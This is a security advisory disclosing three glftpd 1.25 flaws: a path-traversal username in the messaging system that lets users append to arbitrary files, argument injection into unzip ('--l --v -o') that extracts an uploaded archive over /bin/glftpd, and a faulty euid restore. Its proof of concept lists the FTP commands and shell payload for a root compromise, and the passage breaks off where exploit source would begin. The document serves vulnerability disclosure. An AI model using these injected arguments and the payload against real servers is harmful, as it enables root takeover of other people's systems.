* MULTIPLE VULNERABILITIES IN GLFTPD *

I. BACKGROUND

Glftpd is a ftpd server, but it wasn't designed as a replacement 
of fptd server. It is a kind of warez ftpd ( like serv-u, war-ftpd ).
It has its own users, groups etc. ( it doesn't use system files ).
It has built in request and message system, which allow to
communicate
betwen users. After connecting it chroots, and moreover users are
chrooted 
second time. The second chroot is not typical chroot ( for example
commands
could modify files outside of chroot ), but users can not get out of
it.

II. DESCRIPTION

1) Writing to any file with effective uid equal 0

Messaging system which allows users to communicate each other is
vulnerable to 
simple attack, which allows any logged user to apend his own line (
unfortunatly
formatted - which dissallows uid escalation ) to any file.

Sending messages uses following algoritm :

* Check if user exists by stat'ing /ftp-data/users/username

where username is not checked at all.

* Open file /ftp-data/users/username in append mode and write
formatted line.

Attacker by setting destination username to
"../../site/incoming/file" 
could destroy target file ( f.ex. zipfile ).

2) Unpacking uploaded files

Version 1.25 allows users to check, list and varify uploaded zip
files 
using unzip. This id done using following commands.

System command			Glftpd command

unzip -tqq file			site zipchk file
unzip -l -v file		site ziplist file
unzip -p -C file *.nfo *.NFO	site nfo file

There is possibility to pass filename with additional parameters to
unzip.
Unfortunatly unzip dissallows to mix parameters, so extracting uor
file is
rather impossible, but really ???

After checking argument parsing function in unzip we discover that
there is
an easy way to trick unzip, using the following command we obligate
unzip
to extract our file.

unzip -l -v --l --v file

( for more details see unzip.c )

So, command site ziplist --l --v file, extracts our file

3) Bad euid restoring

All config, messages, help files are owned by root, so any password,
tagline 
changing, message sending are connected with temporary changing of
euid. 
There is one situation where restoring old euid is broken.

On first console :

[root@siuwax /]# ftp siuwax 221
username: appelast
password: v
 

On second console :
[root@siuwax /]# ps -axu | grep glftpd

Back to second :

Probably second setresuid should set euid to 100, but it doesn't.

III. ANALYSIS
Logged users could append to any file destroying it ( it could be
fixed by manualy editing ).
Also logged users could gain root privileges in chroot, and also in
all system ( see PoC ).
Glftpd is a warez ftpd, and there is often practised look only
acounts ( for everyone ), which
also allows expliting.

IV.  PROOF OF CONCEPT
Root compromise with glftpd 1.25 ( Linux )

[root@siuwax /]# ftp 127.0.0.1 221
username : appelast
password : v
>cd incoming
>put kkk.zip
>site onel
>site ziplist --l --v -o kkk.zip
>quit

[root@siuwax /]# telnet 127.0.0.1 221
bash#

File kkk.zip is prepared to overwrite /bin/glftpd, which is envoked
from xinetd with uid=0. 
And contains :
#!/bin/sh
sh -i

V.   DETECTION
Glftpd 1.25 is confirmed vulnerable to all 3 attacks, since Glftpd
1.26
commands site [nfo|ziplist|zipchk] was disabled and changed, but rest
2 bugs
are present in all version including newest 1.28.

VI.  EXAMPLE EXPLOIT
/* 
Glftpd 1.25 PoC remote root exploit 
appelast [appelast-at-bsquad.sm.pl]

We don't need writable directory to 
upload our file, we change our euid 
before it to 0 :>
